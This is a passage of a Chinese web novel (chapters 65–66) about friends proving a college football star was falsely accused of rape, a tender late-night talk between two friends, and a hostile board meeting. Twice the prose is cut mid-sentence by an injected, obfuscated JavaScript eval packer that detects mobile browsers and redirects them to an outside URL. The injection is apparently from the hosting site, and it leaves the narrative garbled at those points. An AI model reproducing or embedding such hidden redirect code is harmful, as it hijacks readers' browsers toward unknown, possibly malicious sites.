之后有大约六个小时的窗口,无从猜测她的行踪,但黎疏眠认为她应该是开车回家,去伪装自己受到性侵的伤痕了——这么私密的事情,无论是在Motel还是车里都不好实施。之后,唐泽茹等到天亮,便又开回了U大的警察局。 离学校最近的是一家来爱德药店——谢天谢地,这种大型连锁药店一般都会设置监控录像。这时候就轮到艾莉上场了,她给自己画了个非常成熟的妆容,打扮得既性感又妖娆(艾登强烈反对这个建议,不过云决明瞪了他一眼之后就再也没说话了),在柜台跟那个满脸痘痘的肥胖药店经理调情了十分钟,就拿到了艾登生日派对当晚的监控录像拷贝,影像清楚地显示了她来到了药店,买了一盒L号的安全套。 “她太小看艾登了。”看到这儿,黎疏眠撇着嘴评论了一句,云决明酸溜溜地看了她一眼,决定这辈子都绝不会开口询问她怎么知道这一点的,谁知艾莉瞥了他一眼,立刻就开口问了,“你怎么知道的?” “别想多了,”黎疏眠闻言笑了起来,拍了拍云决明的肩膀,“我有一次在艾登的钱包里看见了他准备的安全套——应该是为不时之需,或者是随时准备支援临时有需求的兄弟,总之,他的尺寸比这个还要大上两号。你放心吧,我和他根本就没走到那一步——不过,我觉得,要是艾莉没有问出口,你以后估计一个人就能供应全中国人的陈醋需求。” 云决明气呼呼地别开了头,面红耳赤,接下去的好几个小时里都没再搭理过那两个女孩。 65. Chapter·Twelve 有了聊天记录,有了唐泽茹购买安全套的监控摄像记录,他们三个都认为这些已经足够证明艾登是清白的。便将这些证据精心整理剪辑过后,提交给了学校一份,同时也放在脸书,推特,以及联系了微博上的“艾登的小迷妹”请她代为发在自己的号下。 然而,这份证据只成了艾登粉丝内部的一场狂欢,在外界却没有激起半点波澜,没有一个@的女性权益博主愿意转发艾登的小迷妹发出的证据,只有穿山甲666在微博下评论了一句,说她不能在唐泽茹完全保持沉默的时候转发这条微博,她必须等唐泽茹发声以后,再根据她的说辞来决定是否转发这条微博。 在几乎已经完全被#我选择不再保持沉默占领的推特和脸书上,愿意转发这条帖子的人也寥寥无几。 “麦克与麦克的晨间访谈”里,也提到了这一点,就在皮特讲到艾登已经向学校证明自己的清白以后。 “我觉得你太天真了,皮特,”矮个子的那个主持人讥讽地笑了起来,仿佛是只露齿的鲨鱼。“这会网络上的潮流就是#我选择不再沉默,现在大家只想看到那些嚣张的,不可一世的,从不学习却仍然能以优异成绩毕业,豪华跑车的引擎轰鸣声能吵得半个学校都听不见教授在讲什么的兄弟会纨绔子弟受到惩罚,谁想看到他们当中一个其实是被诬陷的,而泽茹·唐——那个引发了#我选择不再沉默,被奉为是第一位站出的勇敢战士的女孩,其实是个心机叵测的骗子?” “更何况,现在U大的最大的问题已经不是艾登,还有他停赛会带来的经济损失了。而是NCAA的例行药检——U大校橄榄球队的队长杰森·埃弗里,靠着他父亲的势力逃过了三次药检,这个问题被曝光出来以后,严重影响了U大在NCAA的信誉,现在他们已经在讨论要不要把U大从Division I降到II级呢——这才是U大最头痛的问题,降到II级以后,可就不只是损失一个艾登,或者艾登和杰森两个人的程度,而是往后的一大批富有潜力的新生代,都可能因此不再选择U大了。照这样下去,他们可能会被迫退出十大高校联盟呢。”高个子主持人补充道。他们两个的语气都很不客气,不过,这个访谈节目本来就是以两个主持人犀利,大胆,一针见血的点评而出名的。 “嗑药的是杰森·埃弗里,又不是艾登·维尔兰德。”皮特不以为然地哼了一声,“艾登·维尔兰德的药检记录很干净,留下他又不会影响U大的声誉,我还是那句话,U大没保护好自己的球员,这是很可惜的,我认为艾登·维尔兰德在被迫停赛以前为U大带来的无与伦比的光辉成绩,就是这所大学校橄榄球队在接下来十年里都无法超越的巅峰了。” “问题是,现在在U大看来,留下艾登的确会造成名誉上的伤害,您不觉得吗?”矮个子主持人一摊手,“否则的话,他们现在就该撤回艾登的停赛决定,而不是更进一步,甚至要开会决定他是否应该继续留在队伍里。我们今天请您来,就是想知道,作为一个经验丰富的前橄榄球队队员,您认为U大是基于什么放弃了艾登这么一个前途无量的运动员?” 这就是云决明观看这个节目最主要的原因,他跟那两个主持人一样,也想知道答案是什么。 他们提交了证据已经有段时间了,然而,U大非但没有撤销艾登的停赛状态,也没有针对证据发表什么言论,甚至还变本加厉,表示要开会决定艾登未来在队伍中的去留。 艾登的爷爷这一次有没有插手U大的决定,云决明觉得不好说,艾莉也没法确定这一点。但他们都可以肯定,杰森的父亲肯定已经给学校施加压力了——与艾登的父亲不同,杰森的父亲打定了主意要让他的儿子将来成为一个专业的橄榄球运动员,甚至是下一个汤姆·布兰迪。他肯定不会坐视自己的儿子就此从队伍里被踢出去,但是,倘若他插手了都没法更改学校的决定,说明还有一股更大的力量在与他对抗。 云决明三个人最多只能猜到U大决定这么做,应该跟牵扯出来的一百多件兄弟会性侵案有关。不过,由于所有的当事人女孩都签署了严格的保密协议,这一百多件兄弟会性侵案到底涉及了哪些人,目前还不得而知。 听听专业人士在这方面的意见也好,云决明是这么想的。 然而,皮特面对这个问题,也是支支吾吾,尽说一些不知所云的话,面对主持人尖锐的追问,他顾左右而言他,不断地把先前已经说过的话又拎出来重复了一遍,他的态度已经表明得很清楚了,要么他就是根本不知道答案,要么他就是知道答案,但是绝对不能在节目上说出来。耐着性子又看了十分钟,云决明失望地关上了电脑屏幕,清楚所谓的“专业人士”在这件事上根本帮不上忙。 也许这是为什么他会感到如此气愤又痛苦——远比艾登所感受的要多得多。艾登受困于他的身份和处境,几乎帮不上什么忙,也做不了多少事,这段时间全都是他,黎疏眠,还有艾莉在忙碌。艾莉完全丢下了自己身为油管博主的身份,这段时间一个视频都没有拍摄,云决明除了学习以外的时间全都耗在了收集证据上——至于黎疏眠,谁也不知道她是怎么在法学院繁重的学业,还有身为荣誉协会会长必须要负责的一大堆琐碎事务以外抽出那么多时间,全身心地扑在这件事上。三个星期以来,他们谁也没有抱怨过一句,支撑着他们继续下去的动力,就是最终得到的成果可以换回艾登的清白,可以揭穿唐泽茹无耻的嘴脸,然而,到头来,他们仍然像三个战战兢兢地跪在神殿中的贫苦百姓,等着自己的命运被纺车揭露的一刻。 “嘿,你睡着了吗?” 云决明没有意识到自己沉默了多久,艾登轻柔的声音像远远从教堂钟塔传来的清澈响声,不至于把人吓一跳,却能一下子让人醒悟到时间正在流逝。云决明突然暗暗地有些后悔。 艾登就在触手可及的距离,他却让这些繁琐的思绪占据了自己的头脑,甚至忘记了自己还躺在他的床上。 这样的机会,能有几次呢? 云决明抬起双眼,发现艾登不知道什么之后又换了个姿势,现在他枕在自己的左手臂上,胳膊向上伸去,直到消失在自己的脑袋上方,云决明突然有了某种怪异的感觉,怀疑艾登的手指正在调皮地把玩自己的头发。 “还没有。”云决明不敢挪动自己的头,他今晚刚洗过头发,摸起来的触感应该还算清爽——不对,呸呸呸,他在幻想些什么?艾登的手有可能只是规规矩矩地放在那里,一根头发丝都没有碰着,“在想一些事?” “明天的事?” “什么事都有——最坏的结果会是什么,今后人们会怎么看你,要是那些证据没法证明你的清白怎么办……” “所以,你想的都是我的事。”艾登的语气似乎有一丝笑意。 “这种时候,我不想你的事,还能想谁的事?”云决明心虚地反问了一句。 “我其实没怎么多想,”艾登调整了一下枕头,挪得离云决明更近了,眉间细细的绒毛,从光滑肌肤上破土而出的青茬,双眼皮深深的褶皱,忽地变得清晰无比,先前还像在看盗版的低画质电影,如今却是坐在电影院里享受5D效果,那双浅棕色的双眼不再是藏在垂柳后一对山雀,而是经过了打磨的钻石。无奈苦涩的神色没有影响他眼里的专注,温柔,就像一束清晨的阳光,暖洋洋地笼罩在云决明身上。“我相信你,疏眠,还有艾莉找到的证据,不管明天的会议上校长,田径部主席,还有其余的校董们打算怎么处置我,至少他们都不能把我指控为一个强煎犯。” “如果他们不能把你指控为一个强煎犯,那他们到底能用什么理由把你从校橄榄球队里踢出去?”云决明小声说着,几乎听不见自己的声音,只有这个音量可以抑制住他发抖的喉头。 别这么看着我,艾登。 云决明在心中无声地呐喊着。 “用什么理由,那都是他们说了算。”艾登说,“如果他们想留下我,哪怕你们没有呈现那份证据,他们也会想方设法地留下我。如果他们决定我已经是个弃子——” 他注视着自己的模样,就像自己是这个世界上唯一存在,又即将要消失的事物一样。 “所以,我决定平静地接受明天会议的结果,”在短暂的停顿过后,艾登的语气又恢复了惯常的和缓,“因为我知道他们做出这个决定不是基于我的橄榄球水平,也不是基于我这个人的品德,仅仅是基于他们自身的利益——所以我确实不紧张,也没有像你想象中那样,辗转反侧。” 别这么看着一个你只打算当成朋友的人,艾登。 “但我很高兴你来确认我的情况。” 这会让我以为, “其实,如果我说这段时间对我来说一点也不难捱,那我就是在对你撒谎了。” 也许,仅仅是也许, “而我不想对你撒谎。”艾登倏地绽放出一丝笑容,“而且,我都能想到你会怎么劝我——‘根据多年的心理学实验得出的结果,艾登,倾诉是最好的缓解压力的方式’”他惟妙惟肖地模仿着云决明的语气,“‘把一切都说出来,才能让你心理好受一点。’” 有一天, “其实,对我来说,你出现在这儿,就已经让我好受了很多。” 你也会对我, “我这一生,从来没想到有人会诬陷我为强间犯——更没想到的是竟然会有人相信这一点。虽说你关闭了我的社交账号,但有时候我会忍不住自己悄悄登录上去,看看人们都在说什么。” 产生同样的感情。 “每次我登上去,我的私信列表都被清理得干干净净,是你做的,还是艾莉做的?” “艾莉,”云决明轻声开口了,他想避开艾登的视线,却又舍不得挪开双眼,目光彼此交融着,恍若一个深切缠绵的吻,“她编写了一个病毒,会不断地攻击你的账户,清理掉所有的私信。” “但我仍然能看到网上那些人说了什么。他们咒骂我,咒骂我的家人,说幸好我的父亲死的早,才没有看见他的儿子变成了一个怎样的人渣。甚至有人说……‘是谁杀了艾登·维尔兰德的父亲?我要给你献一束花。唯一的遗憾就是你没有提前几年下手,这样世界上又可以少一个禽兽不如的东西了。’” 可能是因为艾登声音里深切的悲哀与失望——那不是愤世嫉俗的批判家对着灯红酒绿声嘶力竭怒吼后徒余的无力与绝望,更像是一位诗人,瞧见人类在为一朵花的逝去而欢呼,为腐烂而庆祝,为衰退而自豪,为新嫁接在枝头的庸俗人造花朵而碰杯,彼此将滑稽的打油诗奉为比济慈还要更加高明妙曼的作品,所产生的的愤慨,无奈,失落——云决明伸出了手,轻柔握住了艾登搭在被单上的手,整个动作自然得仿佛打从娘胎里出来就懂得了。 他不必说什么,这一握已经表明一切。 “后来,我关上电脑以后,我开始思考过去我所做的一切——为了维护所谓的校园明星身份,橄榄球员身份,四分卫身份,兄弟会成员身份,我做了多少违背天性的事情,参加了多少个我根本不想前往的派对,说了多少违心的话。我以为这就是我的身份,这就是我在呈现给这个世界的名片:艾登·维尔兰德,天之骄子,运动天才,声名显赫。 “那句话是怎么说的?名声是个轻浮的女人,她随时都会背叛你的真心。转瞬间,球队,学校,过去那些在体育场里为我欢呼的观众,走得一干二净,也带走了我名片上的每一个字。如今我呈现给世界的就是一片白纸,任由人们肆意抹黑涂画。” 他们仍然对视着,视线胶着得即便用钻石刀也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041242|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法切割,如果这是一部电视剧,估计早就有成千上万的观众在荧幕外尖叫“亲上去”。 但云决明不能。 即便在这一刻,艾登最脆弱,也最无助的一刻,他不会拒绝自己,但之后又待如何?一个交过二十七任女朋友,钱包里随时备着一个避孕套的男人会这样奇迹般地就变成了gay? 主动亲吻固然需要极大的勇气。 但悬崖勒马,永远不越雷池一步,据守作为朋友的本分,需要更大的勇气。 云决明有这个胆量。 可随着视线一分一秒逐渐绵长,胆量也在逐渐消退。 “所以,后来,我慢慢说服自己,这样也未尝不可。没了这些头衔,名誉,我平生第一次得以决定我想成为一个怎样的人,而不是别人如何希望我能成为一个符合他们期望和想象的风云人物。而且,我也能更懂得珍视生活中那些对我来说更重要的人,疏眠,艾莉,我的家人,还有——” 就一下。 轻轻的一下。 像飞蛾拂过一般。 快得他即便此刻醒着,也不会拒绝。 “你。” “我?”在轰隆疾速的心跳声中,云决明根本听不见自己的声音。 艾登的手反将他的手握在手心里。 “谢谢你这段时间以来为我做的一切,Ming,我都看在眼里,而且我永远不会忘记。” 爱一个人,意味着你永远不必对我说谢谢。 云决明多想这么说,同时在结尾附上一个短暂的吻, 如果这是一部电视剧,艾登就会在这之后紧紧地抓住他,带着难以置信的狂喜与热烈,激烈地回吻着他。那之后发生的事情,除非这是一部由HBO投资的剧集,才有可能在电视上放出来。 但这不是电视剧,这是现实,它的成分是99.99%的无奈,再加上那么一点点甜蜜。 正因为如此,人们才需要不现实,也不苦涩的作品与影视来为自己补充糖分,自欺欺人。 “不客气,艾登。”他像个哥们一样,把自己的手抽了出来,握成拳头,轻轻碰了碰艾登的指节,“这是朋友之间应该为彼此做的。” “朋友之间?” “对,我们是好兄弟嘛。” 艾登仍然没有移开目光,但云决明的勇气已经耗尽了。 “我有点困了,艾登,我先回去休息了——知道你一点也不为明天的事紧张,我就放心了。” 他故作镇定地爬起来,一副不紧不慢,只是有点困倦的模样。艾登从床上撑起半边身子,“Ming,”他犹豫地喊道,“我希望你知道,我没有把你这段时间为我做的事情视为理所当然的,如果我的语气让你这么觉得了——” “没有这回事,艾登,我只是真的困了。你知道我平时很早就休息了——况且,刚才听着你在那慢吞吞地说话,我都快睡着了,我可不想你认真地跟我倾诉了半天,结果发现我已经睡熟了。” 躲藏在黑暗中的下半身慌乱间连拖鞋都穿反了,上半身倒是还俨然不动,甚至回头冲艾登安抚地笑了笑。 “而且,明天的会议也需要你养好精神,以最佳的状态面对那些难缠的校董,不是吗?” “你真的困了?”艾登不安地上下打量着他,云决明的双眼简直就像是个越狱犯人躲避探照灯一样躲避着他的目光。 “我真的困了。”他说着,装作自己要打一个大大的哈欠,“是真的,我说话这会都可能会睡着,我从来没熬的这么晚——都凌晨三点了。” “那好吧,”艾登仍然有点半信半疑的,“你确定……你没有因为我的言行不高兴?” “没有,你怎么会这么想?”云决明露出了吃惊的神色。 “我只是以为——我是说——这段时间发生了很多事,导致我一直没能好好跟你道谢,我以为你觉得我就这么随便说两句,让你这段时间的努力受到轻视了。”艾登眼神也闪烁了两秒,“我只是想确保我们没在这一点上产生什么误会。” 云决明总觉得艾登适才想问的不是这件事,但这又确实是个合理得让人找不出破绽的理由。 “你不必担心这一点,我知道你不会这么对待朋友。”云决明强调了朋友两个字——主要是强调给自己听的,“晚安,艾登。” “晚安,Ming。” “希望明天一切顺利。” “但愿如此,Ming,做个好梦。” “我会的。” 回到房间后,云决明和衣在床边坐了下来。 适才发生的一切,跪在黑暗中的自己,落在指尖上的颤抖吻,还有躺在艾登身边时轻声的交谈和若有若无的接触,都融合交杂在一起,甜蜜地在头脑中叩出巨大而充盈的回响。云决明就像一座由冰开凿而出的塑像,一动不动,始终保持着一个姿势,仿佛这种静止已经到达了身体的每一个细胞里,只有与艾登有关的一切在眼前缓缓流淌,任何一点微小的动作都会破坏这种美好的回味。 他深邃的目光,永恒不变地注视着自己。 就像自己是这个世界上唯一存在,又即将要消失的事物一样。 在短短的弹指一挥间,或者是由许多个刹那组成的瞬间,云决明觉得自己仿佛已经失去了呼吸,仅凭着那道永远刻在记忆中的视线就能不吃不喝,不眠不休,不呼不吸地活下去。微笑一直没从他的脸上褪去,直至同样的一个日光泛白的清晨到来,斜影在床脚拉出一道工整的光泽,一切看上去与三个星期前的那个早晨别无二致,闹钟也准时在六点响起—— 怀着满心的苦涩,云决明僵硬地站起身,就像那战战兢兢地跪在神殿中的贫苦百姓终于被宣告上前,得以瞥见纺车是如何昭示了艾登未来的命运。 66. Chapter·Thirteen “很好,既然维尔兰德先生与埃弗里先生都到了,那么这场会议就开始吧。” 威尔逊校长抬眼看了看他们,清了清嗓子。 他说的好像艾登和杰森两个人姗姗来迟般,实际上,他们在会议室门外等待了半个多小时,才终于被请了进去。 期间,艾登没跟杰森说过任何一句话,连点头都没有。他们两个各自坐在会议室大门前两端的椅子上,望着不同的方向。艾登没有心情说话,杰森似乎也是。今天他果然是穿着一身白领结西装来的,正式过头了,倒显得他是要进去结婚一般。 他们如今所处的这间校理事会议室,也确实非常气派,如果要用来举办婚礼,也不会显得简陋。 悬吊着的吊灯看样子是18世纪亚当兄弟风格的吊灯——U大创立于十八世纪中期,或许就是从那时流传下来的古董——然而上面却俗气地在原本的黄铜枝条上镀了一层金边,顿时便将典雅变作媚俗。壁炉应该也是从那时流传下来的旧时代产物,却被硬生生地改成了现在流行的无柴电火,在沧桑的砖块前加了一层黑色的玻璃,显得不伦不类。清一色的棕色意大利真皮靠背椅,一共有十四把,背影僵硬得活像一栋栋耸立的棺材,环绕着整张带有漂亮木纹,切割拼凑得天衣无缝的长圆桌,绣有U大猩红字母与箴言(正义的太阳即便在西方也同样闪耀)的桌旗从这头蔓延到另一头,滚着金灿灿的绒边。 所有这一切,只让艾登想到富丽堂皇的裹尸布。 再精致昂贵的外表,遮掩不了内里的腐臭与黑暗。 支撑他毫无惧色地站在这里,平静地等待自己的未来被宣判的,是Ming。 偶尔,在会议上,他会走神那么两秒,回忆起昨晚的夜谈——通常都是在他已经无法忍受校董们的无耻嘴脸时。这场会议开始几分钟后,艾登就已经意识到,这与其说是一场会议,不如说是一场宣判会,他和杰森根本没有任何为自己辩解的机会。 于是,回忆的大门敞开一丝缝隙,思绪从四面八方涌入,毫无节制地滑向深夜。Ming轻轻扭开门锁的声音倏然将他惊醒。黑暗中,艾登屏着呼吸,一动不动,他能听见Ming几不可闻的脚步声,缓缓向床铺走来。他不敢睁开双眼确认这一点,却能感觉到一道柔和的视线落在了自己身上,持续很久很久,几乎永恒地凝结成为了自己的一部分。 “维尔兰德先生。” “是的?”艾登抬起头,面无表情地看着坐在会议桌另一端的一名中年女性。艾登认得她是谁——卡维尔女士。她是约州本地最大的制药研发公司的董事长,她曾经也是U大的学生,如今她的四个子女中,有两个仍然在U大念书,其中有一个就是ADP兄弟会的成员,艾登还参加过他的生日派对,杰森也去了。但现在,她表现得就像是完全不认得他们两个一般,表情冰冷而疏远。她刚刚花了好几分钟提出了长篇累牍,然而却不知所云的控诉,来阐述为什么艾登和杰森会受到停赛的处分,为什么学校现在要更进一步,做出开除的决定。 “你明白你为什么会来到这间会议室吗?” “对不起,我不明白。” 卡维尔女士不悦地皱起了眉头,“不明白?”她反问道,就像看着一个十二岁了还不懂得加减乘除的孩子。 “我们这场会议是要留下记录的,”另一个男人开口了,艾登也认得他,他是本地的房地产大亨,范德索尔先生,爷爷曾经带着全家参加过他和他的妻子的蓝宝石婚纪念宴会,因此艾登知道,范德索尔先生的九个孙子孙女,全都是靠着他慷慨大方的捐赠,才得以进入U大念书的——他的校董位置,多半也是这么来的。“要是这两个孩子有不明白的事情,解释一下也无妨,免得影响不好,您说对不对,卡维尔女士?” 影响不好——艾登在心里冷笑了一声,多半指的是不好跟自己的爷爷及杰森的父亲交代。维尔兰德家族是早期来到美国定居的荷兰人后裔,在约州北部拥有大量的土地,范德索尔先生对其中几块垂涎已久,自然不敢把事情闹得太难看。 “我不明白的是,”艾登用自己最平静,也是最理智的语气说道,“卡维尔女士说了很多似是而非的内容,但没有一句话清晰地表明了我为什么会来到这间会议室,更准确一点来说,没有一句话清楚地指出我到底犯了什么错误。” “我觉得卡维尔女士已经说的很清楚了,维尔兰德先生。” 又一位校董开口了,艾登也认得他,小约翰·范德普先生。他今年还不到三十岁,是整张会议桌上最年轻的面庞。一头金发,双手交叉撑着下巴,刻意晒成浅棕色的肤色看着非常不自然,就像是烤焦了的稻草人一般。 他的父亲年逾不惑才和第四任妻子通过代孕生下了他这个老来子。当时刚好是约州那场著名的“婴儿M”官司打得沸沸扬扬的时候,代孕的母亲差一点就要效仿怀特海德,拒绝将婴儿交给老约翰·范德普先生。这件事当时惹出了一场不小的丑闻——艾登在调查父亲的谋杀案时曾经读到过相关的报道。没人知道老约翰·范德普先生是怎么摆平这件事的,代孕的母亲是个可怜的亚裔移民,在这件事后不久就消失了,没人关心她去了哪。 两年前,老约翰·范德普先生死了,留下小约翰·范德普先生继承他的加工食品产业。他也曾经是U大的学生,还是不少ADP兄弟会恶整新人“传统”的开创者。艾登对他一点好感都没有,杰森倒是参加过几次他举办的派对,艾登怀疑他的毒瘾就是在其中一场派对中染上的。 “就正如她所说的,你引起的丑闻给学校造成了不可估量而且不可挽回的损失——” “我没有引起任何丑闻,”艾登清晰而镇定地打断了他的话,“我相信,我之前递交给学校的证据就足以证明我的清白了。我什么也没有做,这件事完全是泽茹·唐一手策划的阴谋。” “我觉得你没有理解这件事的本质,艾登·维尔兰德,”范德普先生慢悠悠地说道,“这个房间里根本没有人在乎你到底有没有强煎那个女人,或者你递交了怎样的证据。关键是,现在整个世界都相信你强煎了那个女人,对于学校而言,这就是一桩急于解决的丑闻——更不要说之后因此而发起的那个滑稽的#我不再沉默运动,简直哗众取宠,可笑至极,一群女人聚集起来编造子虚乌有的创伤并且以此来获取关注,是我见过的最可悲的事了。” 他薄薄的双唇因为厌恶而紧紧抿在一起,当艾登注意到了他提起#我选择不再沉默时声音里异样的紧张,心中一动。 “范德普先生,您是U大2008年届的毕业生,对吧。” “这跟这次会议无关,艾登·维尔兰德。我认为你不是没有理解你为什么会在这儿,你是根本就没有理解自己的错误——” “如果我没有记错的话,在#我选择不再沉默的话题中集中爆出来的一百多个性侵受害者中,有大约四十多个都集中在2004年至2008年这段时期,还有四个女生因此而怀孕——这是一个非常不同寻常的峰值,范德普先生,尤其这还集中于您在U大上学的期间,就更加非比寻常了。” “维尔兰德先生,请你控制一下自己的脾气,”卡维尔女士就像训斥一个不懂事的孩子一样,厉声呼喝道,“不要在这么一个严肃的会议上无理取闹,任性地发泄你的怒气,血口喷人。别忘了,这件丑闻会演变到今天这个程度,全都是因为你而引起的。” 无名火霎时从心中窜出,越烧越冰冷,仿佛都透进了四肢百骸。艾登咬紧了牙关,深吸一口气,目光从十二名校董的脸上一一掠过。他认得每一个人,每个人也都认得他,也许是通过某次作客,某次婚礼,某次生日,或某次圣诞宴会,他们都表现得那么和蔼可亲,值得尊重,俨然是人们想象中上流社会人士应有的优雅礼貌风范,觥筹交错间,尽显对后辈的照顾和关爱。 但如今,他们脸上都有一种共同的冷漠神色,暗示他妥协,暗示他沉默地接受一切,就像此刻站在他身边,一言不发,只是紧抿着嘴唇的杰森一样。这是规则。艾登仿佛能听见他们不动声色,不出声地对自己说着。这是我们这些人的规则,你也是我们当中的一员,你很清楚规矩是什么,停止你孩子气的狡辩和辩驳,让这件事就这么结束。 支撑他决不妥协地站在这儿,对抗着十四张虚伪嘴脸的,是Ming。 憋住一口气的刹那,艾登似乎又回到了柔软的床铺上,他在黑暗中等待了许久,在清醒与入梦间反复沉沦,时而觉得自己在梦中,时而觉得自己醒着,时而浓烈醇厚的睡意如飓风般忽地袭来,他就像被人猛地投入浸满水的浴缸中,瞬间失去了对整个世界的感知。 一两秒后,仿佛猛地从浴缸中坐起身,艾登又会从深睡眠中挣脱出来,湿透了的困倦仍然沉甸甸地把他向下拽,他不清楚自己睡过去了多久,一秒,十秒,几分钟,还是一个小时。不变的,是始终有如实质,始终柔和笼罩着他的,Ming的目光。 那时候,注视着沉睡的自己,Ming在想些什么呢? 会议开到这会,艾登已经明白了,他相信站在他身边一言不发的杰森也已经明白了,他们十有八九是没法继续待在橄榄球队里了。 奇怪的是,这个想法并没有他想象中那样令自己难过。如果这个时候有谁不合时宜地说了个笑话,艾登觉得自己还能发自内心地笑出声。真正让他感到悲哀,仿佛胃部突然被人打了一拳一样难受的,是要把这个坏消息带回家,亲口告诉Ming,疏眠,还有艾莉。 尤其是Ming。 “所以,维尔兰德先生,你现在明白了吗?”卡维尔女士粗糙刺耳的声音穿透耳膜。 “不,我仍然不明白。” 卡维尔女士的眉毛愤怒地扬了起来,地产大亨范德索尔先生不自然地咳嗽了一声,范德普那张刻薄的脸上透出了嘲讽的笑意。剩下的校董们几乎都没有做声,看来,在他和杰森等在门外的半个多小时里,这些人恐怕已经达成了共识,一部分人保持沉默,让另一部分人主导谈话的走向。 “你应该很清楚,维尔兰德先生,拖延这场会议持续的时间是不可能改变董事会已经做出的决定的。” “我确实不明白你说的话,卡维尔女士。”艾登彬彬有礼地回答道,“但不是因为我智力低下,理解能力不足。恰恰相反,我认为我读出了校董事会藏在决定里的潜台词——而这才是最让我不理解的地方。” “艾登·维尔兰德,我觉得你大概不清楚,这一桌子的重要人士都抽空参加这场会议,关心你们这两个年轻人的未来,是多么不容易的一件事。我们都非常忙碌,更何况,这件事本来只要让一两位校董,田径部主席,教师及学生代表,还有校长来决定,就足够了。我们现在都齐聚一堂,就是为了让这个决定显得更公平一些——” “那么,为什么教师和学生代表没有出现在这场会议上?” “因为这是一次极为特殊的情况,”田径部主席,朱丽叶·赫尔曼女士说道,语气轻慢,她对任何已经失去了利用价值的人事物都是这么个语气,“U大建校这么多年以来,从来不曾遇到过这样棘手的状况——我们都一致同意,没有任何规章制度适用于这一次的情形,更何况,我们也不认为你们会希望有外人在场,毕竟,这次会议涉及到了许多近来发生的丑闻,既然学校还不打算将你们两个开除出去,我们觉得你们还是希望能稍稍保留一点名誉的。” “不,我认为,你们才是想要保留名誉的那一个。” ——“如果他们不能把你指控为一个强煎犯,那他们到底能用什么理由把你从校橄榄球队里踢出去?” 这是Ming昨晚问他的问题。 那时候,其实艾登心里已经隐隐有了答案。 他知道杰森的父亲非常希望杰森能继续留在橄榄球队里,自从他们两个被停赛以后,科尔·埃弗里就一直在四处找关系,买人情,无所不用其极地试图保住他儿子的运动生涯。但这场会议的召开,证明科尔·埃弗里已经败下阵来,同样不得不做出妥协。 他原本是不打算反抗的——因为那根本没用,能让科尔·埃弗里知难而退的,也就只能是十二个校董都联合起来,铁了心要把他和杰森从球队中赶走,好向外界营造一种秉公处理的假象——把犯了小错的兵卒揪出来杀鸡儆猴,让愤怒的民众为之狂欢,趁机把舆论热度从真正犯了大错的将领身上转移开来,是每个政客都懂得运用的技巧。 但艾登瞧见了Ming昨晚望向他的眼神。 那似乎不再是仅仅存在于脑海中的担忧,而是一种实际的重担,深重而不可抵御的痛苦,沉甸甸地压在Ming的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041243|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸口,让他难以呼吸,让五脏六腑向内坍缩,成为一颗小小的,被命运攥在手中的心,随时都有可能被挤压成一地血沫。艾登在那一刻确信,如果他不说点什么,不做点什么,就这么毫无怨言地接受了自己其实只是一块挡箭牌,一枚随时可以被牺牲的弃子,一个推到台前吸引目光的小丑的命运宣判,那么他对不起艾莉,对不起疏眠在这段时间为了洗清他嫌疑所做的一切,更对不起—— 在黑暗中,默默为他黯然神伤的Ming。 “维尔兰德先生,你这是什么意思?”田径部主席,赫尔曼女士的声音陡然尖利了起来。 “我的意思是说,你们为什么这么急着要把我和杰森从球队开除出去,原因是不言而喻的。” 艾登沉静地说道。 “你们口口声声说我引起的丑闻给学校带来了不可估量的损失——实际上,你们忌惮是自从#我选择不再沉默运动发起以后,勇敢站出来讲述了自己曾被U大兄弟会成员性侵事实的那一百多位女性。” “维尔兰德先生——” “请不要打断我的话,卡维尔女士,”艾登冷冷地看着她,“我相信,在你们最终宣告结果以前,我和杰森都有机会为自己辩护,不是吗?” “但你几分钟前还说自己根本不明白为什么会站在这儿,”范德普讥讽地笑了笑,“现在你又要为自己辩护了吗?” “我不理解自己为什么会站在这里,和我想要为自己辩护,并不冲突,范德普先生,”艾登说,“其实,这两者之间是有非常紧密的逻辑关系的。我不明白我为什么会站在这里,是因为我不明白你们怎么会愚蠢地认为,一番看似非常合理,实际上根本站不住脚的指控,就能让我羞愧地承认根本没有犯过的错误,并且接受你们以此为依据做出的决定。但考虑到你们的孩子,甚至是你们自己——”艾登的目光停在范德普的脸上,“——都是,或曾经是ADP兄弟会的成员,那么,其实我为什么会站在这儿,一点也不难以理解。” 被艾登盯着,范德普的脸就像个飞速腐败的西红柿,由红转白,再由白转绿,不止是他,还有好几个校董的脸色也变了,其中一个似乎想要说点什么,但是被卡维尔女士用眼神制止了。 “想想看,范德索尔先生,如果人们发现了你的孙子牵扯进了这一次的性侵案,会有什么反应呢?我记得上周,你还信誓旦旦地对记者说,虽然你的孙子中有好几个都是ADP兄弟会的成员,但他们基本不参与任何兄弟会的事务,也绝不会干下任何伤天害理的事情——虽然我分明记得,夏季的时候兄弟会举行了好几场大型的派对,你的几个孙子不仅参加了,还是派对的策划人呢。” 